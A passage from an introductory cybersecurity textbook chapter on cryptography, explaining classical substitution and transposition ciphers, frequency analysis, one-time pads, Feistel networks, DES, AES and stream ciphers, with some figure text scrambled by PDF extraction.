form of the text is known as ciphertext. There are two basic operations which play a
role in this connection, defined as follows:

Definition 4.1 (Basic cryptographic operations)

• Encryption: Transformation of plaintext (data), to a form, ciphertext, where its
information content is hidden, i.e.:

plaintext → ciphertext

• Decryption: The reverse transformation, i.e.:

ciphertext → plaintext

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 57

R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_4
58 4 Cryptography

Encryption can be described mathematically by an encryption function, E , such

that 𝑚 0 = E (𝑚, 𝑘𝑒) is the ciphertext which is derived from the plaintext 𝑚 by using
the encryption key 𝑘𝑒. Decryption can correspondingly be described mathematically
by a decryption function, D , such that 𝑚 = D (𝑚 0, 𝑘 𝑑) is the plaintext, which is
derived from ciphertext 𝑚 0 by using the decryption key 𝑘 𝑑.
For readers who like pictures to explain what is going on, these ideas are illustrated
in Fig. 4.1. You can think of the small boxes as machines which perform calculations
on the basis of what is fed into them. In the old days, these “machines” were people,
whereas nowadays they are more likely to be small hardware units or software which
is run on a computer.

plaintext ciphertext plaintext

the quick brown fox E 9qn9RCTqTGE0sO2zwe... D the quick brown fox

ke kd

Fig. 4.1 Encryption and decryption

4.1.1 Cryptosystems

A pair of mutual encryption and decryption methods are often said to make up a
cryptosystem. Even though techniques for encryption have been known since antiq-
uity, it was not until 1883 that a set of principles for designing good cryptosystems
was formulated. They are known as Kerckhoff’s Principle:
1. The code must be practically (but not necessarily mathematically) impossible to
break.
2. The encryption function itself does not need to be a secret. The enemy may well
know the procedure, as long as they do not know both keys.
3. It must be possible to create or change the keys, and to exchange keys without
writing anything down.
4. The technique must be able to be used in telegraphy and similar technologies.
5. The technique must be portable and be able to be used by a single person.
6. The technique must be as user-friendly as possible under the given circumstances,
i.e. it must be able to be used by an ordinary person.
Even if these requirements for a cryptosystem sound very reasonable, technical
developments with the use of advanced mathematics in cryptography mean, as we
shall see, that modern cryptosystems seldom live 100% up to these requirements.
There are two primary categories of cryptosystem:
1. Symmetric Cryptosystems: Cryptosystems, where knowledge of the key 𝑘𝑒 for
the encryption function E means that you know the key 𝑘 𝑑 for the decryption
function D (or vice-versa). They are usually identical (i.e. 𝑘𝑒 = 𝑘 𝑑).
4.1 Some Central Concepts 59

This means that both keys, (𝑘𝑒, 𝑘 𝑑), must be kept secret. A symmetric cryptosys-
tem is therfore often called a Secret Key Cryptosystem (or SKCS, for short).
2. Asymmetric Cryptosystems: Cryptosystems, where even if you know the key
𝑘𝑒 for the encryption function E , it is not realistically possible to find the key 𝑘 𝑑
for the decryption function D (or vice-versa).
This means that only one of the keys (𝑘𝑒, 𝑘 𝑑) needs to be kept secret, while
the other can be publicly known. An asymmetric cryptosystem is therefore often
known as a Public Key Cryptosystem (or PKCS, for short).

4.1.2 Cryptanalysis

While the main aim of cryptography is to find methods for protecting confidential
data, attackers have an interest in finding good methods for breaking this protection,
even though they do not know the keys in advance. The study of such methods is
known as cryptanalysis. How difficult it is to carry out an attack on a cryptosystem
by using cryptanalytic techniques is strongly dependent on what information the
attacker has available. It is customary to distinguish between at least five grades
of available information—and therefore between five different classes of possible
attack, defined as follows:

Definition 4.2 (Attack classes)

• Ciphertext alone: The attacker only has access to a collection of ciphertexts;
• Known plaintext: The attacker has access to a collection of ciphertexts, for which
he knows the corresponding plaintexts;
• Chosen plaintext: The attacker can produce ciphertexts corresponding to an
arbitrary set of plaintexts, which he can choose himself;
• Adaptive chosen plaintext: Like chosen plaintext, but the attacker can choose
subsequent plaintexts based on the results from previous plaintexts;
• Related key: Like chosen plaintext, but the attacker can produce ciphertexts by
encryption with two different encryption keys. He does not need to know the keys
in detail, but needs to know the relationship between them – for example, that
they only differ from one another in a single bit position.

Whether an attack is usable in practice for revealing confidential data depends on

how many resources are needed to perform the attack, including:
• Time: How many calculation steps are needed;
• Memory: How much computer storage is needed;
• Data: How many examples of plaintext and/or ciphertext are required.
Most (but not all) cryptosystems can be attacked with a brute-force attack, even if
you only have a single ciphertext to analyse. In such an attack, you try all possible
keys one after the other until you find the one which works as decryption key. But
this can take a very long time – in a modern cryptosystem for use in a computer,
60 4 Cryptography

the key will perhaps be a number with 128 binary digits (bits), so you may need to
try 2128 keys to be quite certain to find the right one. 2128 is a very large number,
about 3.4 × 1038 (340 billion billion billion billion). Even with modern computers it
is infeasible to perform such an attack.
For a cryptanalyst, discovery of a type of attack which required fewer attempts
than a brute-force attack would mean that the cryptosystem was broken. However,
this does not necessarily mean that the breach can be used for anything in practice.
If the key has 128 bits, the “breach” could perhaps be that you could find the key
by trying only 2108 candidate keys – i.e. roughly 3.2 × 1032 (320 000 billion billion
billion). It would still be infeasible to perform the attack in a reasonable time using
today’s technology. So you don’t necessarily need to go into a panic, if you read
in the newspaper that this or that cryptosystem has been broken, unless the people
who are responsible for the break have actually been able to demonstrate that their
method works in practice.

4.2 Symmetric Encryption

The basic idea in symmetric encryption is that you have some information which
should only be revealed to particular parties. These parties share a secret which is
used as the encryption and usually also the decryption key.
This approach covers a number of classical encryption techniques:
• Substitution ciphers: Each character in the text is replaced by another character
from the same or another alphabet.
• Transposition ciphers: The order, but not the choice, of characters in the text is
changed.
• Product ciphers: A combination of transposition and substitution.

4.2.1 Substitution Ciphers

The simplest form of substitution cipher is to use cyclic permutation of the symbols
in the alphabet: If the key is the integer 𝑛, the ciphertext is produced by replacing
each character in the plaintext by the character 𝑛 positions further on in the alphabet.
If you reach the end of the alphabet, continue counting from the beginning. For
assistance, you can make a key wheel, as shown in Fig. 4.2. The small inner disk can
be turned round its centre to choose the desired value for 𝑛. In the figure, 𝑛 = 13,
correspond to the often used ROT13 cipher, an extremely weak form of encryption
which, however, has been used to hide rude jokes on the social media.
Example: Cyclic permutation where n=3. This is often known as the Caesar code,
as Julius Caesar is said to have used it for communicating with his commanders.
4.2 Symmetric Encryption 61

Fig. 4.2 A key wheel for

G H
use with a substitution cipher
E FS T U I J
with cyclic permutation of the D R V
W
alphabet Q

X L M N O C

K Y Z A B P
X
P
Y Z A B

L M N O
K

C
J D
I E Q
R SF G H V W
T U

Alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Encoding: DEFGHIJKLMNOPQRSTUVWXYZABC
Plaintext: THIS IS MY SECRET TEXT
Ciphertext: WKLV LV PB VHFUHW WHAW
This is an example of a monoalphabetic cipher: The entire text is encoded using the
same rearrangement of the alphabet.

4.2.2 Random Permutation

With cyclic permutation it is easy to find the key, as there are only 𝑁 possibilities to
try out, where 𝑁 is the number of characters in the alphabet. A simple improvement
is to use a random permutation of the alphabet, for example:
Alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Encoding: KEPALMUHDRVBXYSGNIZFOWTJQC
Plaintext: THIS IS MY SECRET TEXT
Ciphertext: FHDZ DZ XQ ZLPILF FLJF
There are 𝑁! (N factorial, i.e. the product of all integers from 1 to 𝑁 inclusive)
possible permutations of an alphabet with 𝑁 characters. For the English alphabet,
where there are 26 letters, this gives 26! permutations (roughly 400 million billion
billion), which in the worst case need to be tried by an attacker to find the right one.
However, this is technically speaking still a monoalphabetic cipher, as the entire
text is encoded using the same rearrangement of the alphabet. This type of cipher
can be attacked with the help of a simple form of cryptanalysis known as frequency
analysis: the attacker determines the frequencies with which the various characters
appear in the ciphertext. These frequencies can then be compared with the frequencies
of various characters in a typical text in the language which the analyst assumes
the sender has used. This type of analysis has been known since at least the 9th
century, when the arab mathematician and philosopher Al-Kindi wrote the book “On
Decrypting Encrypted Correspondance”. Figures 4.3 and 4.4 show the frequencies
62 4 Cryptography

for English and Danish respectively. The figures also illustrate the importance of
knowing the language in use – alphabets may both have different lengths and different
frequency distributions.

14

12

10
Frequency (%)

0
e t a o i n s h r d l c u m w f g y p b v k j x q z

Fig. 4.3 Relative frequencies for the use of letters from the English alphabet in English texts. (Data
source: [61])

16

14

12
Frequency (%)

10

0
e r n t a i d s l o g km f v b u p h å øæ j y c w x z q

Fig. 4.4 Relative frequencies for the use of letters from the Danish alphabet in Danish texts. (Data
source: practicalcryptography.com/cryptanalysis)
4.2 Symmetric Encryption 63

Correspondingly, you can find the frequencies with which individual characters
appear in the ciphertext. A reasonable first guess is then that the commonest character
in the ciphertext stands for the commonest character in texts in the relevant language,
and so on. This is unfortunately not always the case, as there is a certain statistical
variation in the frequencies of different letters in different texts. But with a bit of
experimenting it is usually relatively easy to decipher texts which are encrypted
using monoalphabetic ciphers.
Frequency analysis is naturally not limited to use on western european languages—
or to use on ciphertexts which only consist of letters. The “alphabet” can be any
collection of symbols, as in the pigpen cipher, where the ciphertext is a sequence
of geometric symbols. Or as in the Sherlock Holmes story “The Adventure of the
Dancing Men” by Arthur Conan Doyle, as shown in Fig. 4.5.

Fig. 4.5 Part of the ciphertext from Conan Doyle’s story “The Adventure of the Dancing Men”.
The small flags, which some of the figures are holding, indicate the ends of words. The plaintext
turns out to be “AM HERE ABE SLANEY”.

In some cases, frequency analysis based on individual letters is not enough to

give an unambiguous decoding of the ciphertext. Further information can be gained
by exploiting the relative frequencies with which two-letter combinations (often
called bigrams) and/or three-letter combinations (trigrams) appear in the language
concerned, as they are also characteristic of the language. Tabel 4.1, for example,
shows the relative frequencies of the commonest bigrams in English texts, based on
a collection of texts containing 40 000 words.

Table 4.1 Distribution of two-letter combinations in ordinary English texts. (Data source: Cornell
Math Explorer’s Project – Substitution Ciphers)
Bigram Frequency (%) Bigram Frequency (%) Bigram Frequency (%) Bigram Frequency (%)
th 1.52 he 1.28 in 0.94 er 0.94
an 0.82 re 0.68 nd 0.63 at 0.59
on 0.57 nt 0.56 ha 0.56 es 0.56
st 0.55 en 0.55 ed 0.53 to 0.52
it 0.50 ou 0.50 ea 0.47 hi 0.46
is 0.46 or 0.43 ti 0.34 as 0.33
te 0.27 et 0.19 ng 0.18 of 0.16
al 0.09 de 0.09 se 0.08 le 0.08
sa 0.06 si 0.05 ar 0.04 ve 0.04
ra 0.04 ld 0.02 ur 0.02
64 4 Cryptography

4.2.3 Polyalphabetic Ciphers

As monoalphabetic ciphers turned out to be relatively easy to decrypt with the

help of frequency analysis, cryptographers began as early as the 15th century to
investigate polyalphabetic ciphers), where several reorderings of the alphabet are
used, depending on the character’s position in the plaintext.
Example: Encryption via cyclic permutation, where 𝑛 = 5 for odd positions and
𝑛 = 19 for even positions:
Alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Encoding: FGHIJKLMNOPQRSTUVWXYZABCDE (odd)
TUVWXYZABCDEFGHIJKLMNOPQRS (even)
Plaintext: THIS IS MY SECRET TEXT
Ciphertext: YANL NL SR XXHKJM YXCM

4.2.4 Vigenère Ciphers

The idea of using two encoding alphabets alternately can be extended to Vigènere
ciphers, invented by the French mathematician Blaise de Vigenère in 1581. In a
Vigenère cipher, all possible permutations of the alphabet can play a role. An example
of the basic encoding table (for the English alphabet) is shown in Table 4.2.
Example: Vigenère cipher, with key USE THIS. This means that 𝑛 (the distance
in the alphabet from a plaintext character to its encoding) will be 21, 19, 5, 20, 8, 9
and 19 for consecutive characters.
Alphabet: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

U U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
S S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
E E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
Encoding: T T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
H H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
S S T U V W X Y Z A B C D E F G H I J K L M N O P Q R

Plaintext: THIS IS MY SECRET TEXT

Key chars.: USET HI SU SETHIS USET
Ciphertext: NZML PA ES KIVYML NWBM

Substitution ciphers of the Vigenère type were for almost 300 years considered
unbreakable. But in 1863 Friedrich Kasiski published a procedure for analysing such
ciphers:
1. Find repeated groups of characters in the ciphertext and determine the distances
between them.
4.2 Symmetric Encryption 65

Table 4.2 Vigenère encoding table for the English alphabet

Plaintext character
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
A A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
Key character

N N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

2. Find the factors of these distances. If any number appears in a noticeable number
of these factors, it is probably the length of the key.
3. If the key length is 𝑁 characters, then every 𝑁’th character in the ciphertext must
be encrypted with the same key character, and therefore by using the same row in
the Vigenère table.
4. If you collect up every 𝑁’th character in a group, then each of these groups has
been encrypted using a monoalphabetic substitution cipher which can be broken
by using frequency analysis.

4.2.5 Transposition Ciphers

In a transposition cipher, the order of the characters in a message is changed without

the characters themselves being changed. A very simple example of this is, given a
key 𝑛, to write the plaintext down row-wise in rows of 𝑛 characters, and then produce
the ciphertext by writing the characters in column-wise order.
66 4 Cryptography

Alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Key: Column width 𝑛 = 5
Written row-wise: THISI
SMYSE
CRETT
EXT..
Ciphertext: TSCEHMRXIYETSST.IET.

The two ekstra characters “..” in this example are used to fill out the block of
characters to a multiple of 𝑛 characters. In practice, this padding is often chosen at
random, so it does not reveal how many rows were used (and thus reveal 𝑛). In the
real world, a much more complex set of rules for transposing the characters would
also be used!
It is clear that transposition does not change the frequency with which the indi-
vidual characters appear in the ciphertext. But it breaks up the text, so that characters
which often appear next to one another in the plaintext are separated in the cipher-
text. This makes it very difficult to exploit knowledge of bigrams and trigrams in the
language concerned.

4.3 Modern Ideas

There are two obvious problems with the historical encryption methods:
1. The high redundancy of natural language often makes it possible to analyse text
by using statistical methods, which may enable the encryption method and key to
be found.
2. This is particularly easy if the ciphertext for one or more pieces of plaintext is
known, so there is a basis for carrying out a known plaintext attack.
These features indicate that more complex ciphers are needed.
The basic principles for the design of modern ciphers were formulated by Claude
Shannon in 1949:
• Diffusion: Spread redundancy out over the ciphertext.
• Confusion: Make the encryption function as complex as possible, so it will be
hard to derive the key by analysing the ciphertext.
It is also important to notice that modern encryption methods are not limited to
encrypting texts, but can hide the information content in data of any type. This is
very much a development which has taken place since computer technology has
become widespread. Modern computers deal with all sorts of information in the
form of binary data, i.e. sequences of the binary digits (“bits”) 0 and 1. For texts, the
coding is very simple, as the individual characters in the alphabet are represented by
standardised sequences of bits. For example, if the encoding of characters follows
the ASCII standard, the text SECRET is represented as follows:
4.3 Modern Ideas 67

Text: S E C R E T
Data: 01010011 01000101 01000011 01010010 01000101 01010100
When all information is represented by sequences of binary digits, these can be
thought of as digits in (possibly very large) numbers 1. This insight means that you
can deal with them by mathematical methods, which we shall see examples of in the
following sections.

4.3.1 One-Time Pads

A One-Time Pad is a symmetric cryptosystem which completely removes redundancy

in the ciphertext. The concept was invented by USA’s military intelligence during
the First World War. The original idea at that time, long before computers had
been developed, was to use a Vigenère table for encryption. But instead of having
a fixed key, which if necessary could be used again and again, they would use a
completely randomly chosen, non-repeating sequence of characters as the key. The
individual sequences were never to be re-used, and were printed on sheets which
were assembled into pads. As soon as a sheet had been used, it was torn off the pad
and destroyed to prevent re-use—it was a genuine one-time pad.
In the computer age, a one-time pad is typically implemented as a sequence of
randomly generated bits. “Randomly” here means that if, after seeing 𝑝 bits, you try
to guess what the ( 𝑝 + 1)’th bit will be, your success rate will in the long run only
be 50%—i.e. no better than if you made a choice between ‘0’ and ‘1’ at random.
To produce such a sequence, you use a so-called cryptographic random number
generator, where a special effort has gone into fulfilling this requirement.
To use the bit sequence as an encryption key, a logical XOR (eXclusive OR)
function is used to combine the 𝑖’th bit in the sequence with the 𝑖’th bit in the
plaintext to form the 𝑖’th bit in the ciphertext. The rules for this are:
Plaintext Key Ciphertext
bit bit bit
0 0 0
0 1 1
1 0 1
1 1 0
An example of the use of a one-time pad together with an XOR function (indicated
by the symbol ⊕) can be seen in Fig. 4.6. The figure also illustrates why the XOR
function is a popular choice for combining the key with the plaintext: If you use the
XOR function to combine the key with the ciphertext, you get the plaintext back.
Use of a one-time pad ensures that the ciphertext gives an attacker no information
about the plaintext. At most, the maximum length of a message can be revealed.
But it is important to follow the rules of the game: The sequence of bits which is

1 For example, the text SECRET is here represented by a number with 48 binary digits, correspond-
ing to a decimal value of around 180 million million.
68 4 Cryptography

Plaintext S E C R E T
Data 01010011 01000101 01000011 01010010 01000101 01010100
Key ⊕ 01011000 01100101 10100000 01110001 01010101 01111001
Ciphertext 00001011 00100000 11100011 00110011 00010000 00101101
Key ⊕ 01011000 01100101 10100000 01110001 01010101 01111001
Data 01010011 01000101 01000011 01010010 01000101 01010100
Plaintext S E C R E T

Fig. 4.6 Using a binary one-time pad with an XOR function (indicated by ⊕)

generated for use as the key must never be re-used. This implies that the key must be
at least as long as the data which are to be encrypted, so repeats can be avoided. This
means that the random number generator must be able to generate sequences which
are at least as long as the longest imaginable portions of data without repeating itself.
A problem with the use of one-time pads is that the sender and receiver of the data
must use identical sequences of randomly chosen characters or bits as their keys. In
the old days, they both needed to have identical pads with character sequences. In
current computer-based systems, their random number generators must be set up in
exactly the same way. This is not a trivial challenge, if the sender and receiver do not
in advance have a secure communication channel which they can use to exchange
the necessary information for setting up their generators.

4.3.2 Confusion and Diffusion

Confusion and diffusion are often introduced by repeated use of a Feistel network—
an idea invented by the German-American cryptographer Horst Feistel at IBM at the
start of the 1970’s. Data which is to be encrypted (or decrypted) is passed through a
number of stages, whose function is illustrated in Fig. 4.7.
It is characteristic of a stage in a Feistel network that the data block (which in the
figure is of 16 bits) is split into left and right halves, which are treated differently. The
left half of output from the stage equals the right half input to the stage, The right
half of output is formed by passing the right half input through a transformation
function 𝑆𝑃, and combining the result with the left half input with the help of a
bitwise exclusive-OR (XOR) function, indicated by the symbol ⊕.
Feistel networks are especially easy to use because decryption uses the same
Feistel network, where the keys to the individual stages are used in the reverse order.

4.3.3 DES

Data Encryption Standard (DES) has been a standard method for symmetric encryp-
tion since 1977, when it was published as the standard FIPS PUB 46 in USA. It was
4.3 Modern Ideas 69

Left Block 𝐿𝑖 Right Block 𝑅𝑖

00011101 Partial key 𝑘𝑖 11010101
11000101

⊕ 𝑆 𝑃 (𝑅𝑖 , 𝑘𝑖 )

𝐿𝑖+1 = 𝑅𝑖 𝑅𝑖+1 = 𝐿𝑖 ⊕ 𝑆 𝑃 (𝑅𝑖 , 𝑘𝑖 )

11010101 01100000

Fig. 4.7 Operation of a stage in a Feistel network

𝑆 𝑃 is a combination of substitutions and permutations of the bits, parametrised by the partial key
for the relevant stage.

developed by a team from IBM in response to an invitation to industry to send in

proposals for a new encryption method which could be used for encrypting confi-
dential information which had not been classified as secret (or the like) by military
or other US government organisations. Over the years, it has been widely used for
encrypting commercial information, especially for money transfers by banks.
DES is a block cipher, which encrypts data in 64-bit blocks. The key has 56 bits
and is used as the basis for deriving 16 48-bit partial keys for use in the following
transformations. The partial keys are derived from the main key in a systematic
way described by a key schedule. Each block is passed through a series of 19
transformation steps, as shown in Fig. 4.8. The first step is a transposition of the bits
in the block. Then follow 16 Feistel rounds, where the 𝑖’th round uses the 𝑖’th partial
key. After the 16th Feistel round, the two halves of the block are swapped over, and
the entire transformation ends with a transposition step, which is the inverse of the
first step.
This may sound amazingly complicated, but really it is just a monoalphabetic
substitution cipher, where each symbol in the “alphabet” is a 64-bit bit sequence.
So the “alphabet” consists of all possible sequences of 64 bits. It can therefore in
principle be attacked like any other monoalphabetic substitution cipher. As early as
1999, the Electronic Frontier Foundation (EFF) succeeded in decrypting a DES-
encrypted message in 22 hours, by using a purpose-built machine known as Deep
Crack, which only cost 250 000 USD—a quite moderate sum for a government
intelligence agency or a criminal organisation. With the fast computers available
today, this time can be reduced to an hour or less, so DES’ 56-bit key is much too
small for real security. The use of DES is therefore strongly deprecated for uses
where confidentiality of data is important.
To achieve better security while keeping the building blocks from DES, it is
common to use Triple-DES (3DES) with three different keys:
70 4 Cryptography

56-bit key

Data in 64-bit blocks

used to create 16
Initial transposition 48-bit partial keys

16 rounds of SP
transformation +
partial key 1
1
+ SP
partial key 2
2
: :
+ SP
partial key16
16
Swapping:

Inverse transposition:

Fig. 4.8 Operation of the Digital Encryption Standard (DES)

𝑒 = 𝐷𝐸 𝑆(𝐷𝐸 𝑆 −1 (𝐷𝐸 𝑆(𝑑, 𝑘1), 𝑘2), 𝑘3)

𝑑 = 𝐷𝐸 𝑆 −1 (𝐷𝐸 𝑆(𝐷𝐸 𝑆 −1 (𝑒, 𝑘3), 𝑘2), 𝑘1)

(Here notations like 𝐷𝐸 𝑆(𝑚, 𝑘) mean that message 𝑚 is encrypted with key 𝑘, while
𝐷𝐸 𝑆 −1 (𝑚, 𝑘) means that 𝑚 is decrypted with key 𝑘.) For example, for encryption 𝑒
is found by first encrypting 𝑑 with 𝑘1, then decrypting with 𝑘2 and then encrypting
with 𝑘3. Triple-DES’s key is effectively of 168 bits (three 56-bit DES keys) and the
security is about the same as could be achieved with DES, if it could be used with a
112-bit key.

4.3.3.1 Modes of Operation

When the message to be encrypted is longer than a single 64-bit DES block, there
are several ways to organise the encryption. The simplest is to encrypt the blocks one
after the other, using the same key. If the message does not fill a whole number of
blocks, the last block is padded out with a neutral bit pattern (often just a sequence of
0-bits). This is known as Electronic Codebook mode (or ECB mode, for short). This
is illustrated in Fig. 4.9, where the shading in the last block indicates the padding.
ECB mode is not very secure—two blocks of plaintext with the same content
always give the same ciphertext for a given key. This makes it possible to use a
technique known as differential cryptanalysis to find the key. However, there are a
number of more complex ways of using DES which give better security. An example
of this is the Cipher Block Chaining (or CBC, for short) mode illustrated in Fig. 4.10.
Here the 𝑖’th block of plaintext is combined with the (𝑖 − 1)’th block of ciphertext
4.3 Modern Ideas 71

Message blocks

m1 m2 m3 .... mp

r bits

E E E E
r bits

c1 c2 c3 .... cp

Ciphertext

Fig. 4.9 Operation of DES in ECB mode

Message blocks

m1 m2 m3 .... mp

E E E E

IV c1 c2 c3 .... cp

Ciphertext

Fig. 4.10 Operation of DES in CBC mode

by the use of an XOR function, ⊕, and it is the result of this combination which
is encrypted to give the 𝑖’th block of ciphertext. Since there is no 0’th block of
ciphertext, an Initialisation Vector, 𝐼𝑉, is used instead. 𝐼𝑉 must technically speaking
be a nonce, a term which in the world of cryptography has the meaning given in
Definition 4.3. This requirement on 𝐼𝑉 ensures that all encryptions of the same
plaintext with the same key will give different ciphertexts.

Definition 4.3 (Nonce)

A value which is chosen randomly just for the occasion, and is never re-used.

This mode of operation has the effect that information from encryption of all the
previous blocks affects a given block of ciphertext—a type of diffusion. There are
three further “official” modes, CFB, OFB and CTR, which all offer some advantages,
such as the possibility of performing parts of the encryption or decryption in parallel,
or of incorporating a message authentication code to ensure integrity. All five modes
are described in [27].
Figure 4.11 shows the effect of encrypting an image by using the ECB and CBC
modes respectively. Many details from the original can be seen when ECB is used—a
clear illustration of the fact that ECB is not a particularly secure way of using DES.
72 4 Cryptography

Fig. 4.11 Encryption of an image in ECB and CBC modes (Images: Larry Ewing,
[email protected], using the graphic tool The GIMP)

4.3.4 AES

Advanced Encryption Standard (AES) is a more modern encryption method than

DES, approved as standard FIPS 197 by NIST in USA in 2001. It is in fact a
subset of a family of algorithms known as Rijndael, developed by two Belgian
cryptographers, Joan Daemen and Vincent Rijmen. Rijndael was the winner of
a public competition to develop a new encryption algorithm to replace DES—in
the first instance for encryption of non-classified material. The competition rules
stipulated that the algorithm must be publicly available and for worldwide use free
of royalties. It was also expected that it should be possible to implement it in a simple
way on multiple platforms, both in hardware and software.
AES is a block cipher with block size 128 bits and
Row no. key size 128, 192 or 256 bits. (Rijndael had the possi-
1 𝑏 1 𝑏 5 𝑏 9 𝑏 13 bility of having both block and key sizes which were
2 𝑏 2 𝑏 6 𝑏 10 𝑏 14 128, 160, 192, 224 or 256 bits.) It uses several rounds
3 𝑏 3 𝑏 7 𝑏 11 𝑏 15 of transformation, where each round uses its own 128-
4 𝑏 4 𝑏 8 𝑏 12 𝑏 16 bit round key, which like the partial keys in DES are
derived from the main key by a systematic key sched-
Fig. 4.12 An AES 128-bit data ule. The rounds do not use Feistel networks. Instead,
block seen as a 16-byte byte ma- each round consists of four steps which transform the
trix data block, which is considered as a 4x4 matrix of
𝑏𝑖 is the 𝑖’th byte in the block. bytes, as shown in Fig. 4.12.
The four steps are:
1. SubBytes: A non-linear substitution step, where each byte in a data block is
replaced by another, taken from a lookup table.
2. ShiftRows: A transposition step, in which the bytes in the 𝑖’th row in the byte
matrix (for 𝑖 = 1, 2, 3, 4) are shifted cyclically left by 𝑖 − 1 positions.
3. MixColumns: A mixing step, in which the four bytes in each column of the byte
matrix are mixed together.
4.3 Modern Ideas 73

4. AddRoundKey: A step in which every byte in the byte matrix is combined with
the corresponding byte in the round key, using an XOR operation.
The number of rounds depends on the key size: It is 10 for 128-bit keys, 12 for
192-bit keys and 14 for 256-bit keys.
AES is considered to be very secure. But, like all other block ciphers, it must be
used in a suitable mode (such as CBC or better), when the plaintext is longer than
a single block. AES has been exposed to many types of cryptanalysis, and is now
also approved for encryption of classified material. Interestingly enough, some of
the documents made public by Edward Snowdon show that the american NSA had
tried to break AES, but had not been able to do so by using any known cryptanalytic
methods.

4.3.5 Symmetric Stream Ciphers

In contrast to DES and AES, which process data block by block, there are a number
of symmetric cryptosystems in which data are processed as a (potentially infinite)
stream of data bits which are not divided into blocks. These are known as stream
ciphers. Stream ciphers are often preferred for use in situations where it is necessary
to achieve very high speeds for encryption and decryption.
In a stream cipher, one does not use the same key repeatedly on successive
blocks of plaintext. The key is only used to initialise a mechanism for generating a
(potentially infinite) sequence of randomly chosen bits, known as the keystream. The
𝑖’th bit in the keystream is combined with the 𝑖’th bit in the data stream, typically by
using a logical XOR operation, to give the 𝑖’th bit in the output stream. If the data
stream is the plaintext, the output stream will be the ciphertext. If the data stream
is the ciphertext, the output stream will be plaintext. The principle is illustrated in
Fig. 4.13.
If the key stream consisted of a sequence of genuinely randomly chosen bits, which
never repeated itself, the stream cipher would in fact be a type of one-time pad and
therefore extremely secure. But in practice, in order to achieve reasonable efficiency,
the keystream in most stream ciphers is only generated by a pseudo-random bit
generator, which typically has two unfortunate properties:

IV 0100101011....10

Random number
generator
...0011010111001101011 Keystream

...0100001101100111100 Datastream

...0111011010101010111 Outputstream

Fig. 4.13 Operation of a stream cipher.

IV is the Initialisation Vector, which contains the key for initialising the random number generator.
74 4 Cryptography

1. The bit stream repeats itself after a certain number of bits have been generated. To
achieve good security, this number—the generator’s period—should be as large
as possible.
2. It must be started from an Initialisation Vector, 𝐼𝑉, which is the chosen encryption
key, and is often a 128-bit number or smaller. For a given value of 𝐼𝑉, the generator
will always generate the same sequence of bits, so it is important to choose a new
value for each encryption—in other words, 𝐼𝑉 should be a nonce. However, with
a reasonably active use of the stream cipher, a small initialisation vector means
that repetition can hardly be avoided. This makes it easier for an attacker to break
the encryption.

4.3.5.1 Shift Register Based Bit Generators

Pseudo-random bit generators are built to use an internal state, which consists of
a number of bits which are used in the calculation of the next bit in the sequence.
There are many different ways of performing this calculation, but many generators
for use in stream ciphers are based on techniques where the next bit in the sequence
is generated by combining chosen bits in the state with the help of logical XOR
operations and shifts. A typical example of this approach is to base the generator on
a Linear Feedback Shift Register (LFSR).

Time State output

0 [0,1,0] -
s3 s2 s1 1 [0,0,1] 0
2 [1,0,0] 1
3 [1,1,0] 0
4 [1,1,1] 0
5 [0,1,1] 1
Fig. 4.14 Structure and oper- 6 [1,0,1] 1
ation of a simple LFSR 7 [0,1,0] 1

A simple LFSR with three bits in its state is shown in Fig. 4.14. The current state
is given by the contents of the shift register with the three cells 𝑠1 , 𝑠2 and 𝑠3 . A shift
register has the property that if one pushes a value into the cell at one end of the
register, then the current contents of the cells are pushed forward in the register so
the content of the cell at the other end comes out. In the example shown in the figure,
the next bit to be generated is found by evaluating (𝑠1 ⊕ 𝑠3 ) and shifting this value
into the register, so that the current content of 𝑠1 comes out as the next generated bit.
If we start with an initial value [0, 1, 0] in the register, then the sequence of generated
bits will be as shown in the figure. After 7 steps, we get back to the state from which
we started—in other words, the generator’s period is 7. This is the largest achievable
period for a state with 3 bits—for 𝐿 bits, the largest possible period is 2 𝐿 − 1.
It requires care to decide which state bits are to be led out and used in calculating
the value of the bit to be shifted into the register. Mathematically, their positions in
4.3 Modern Ideas 75

Fig. 4.15 Some slghtly more

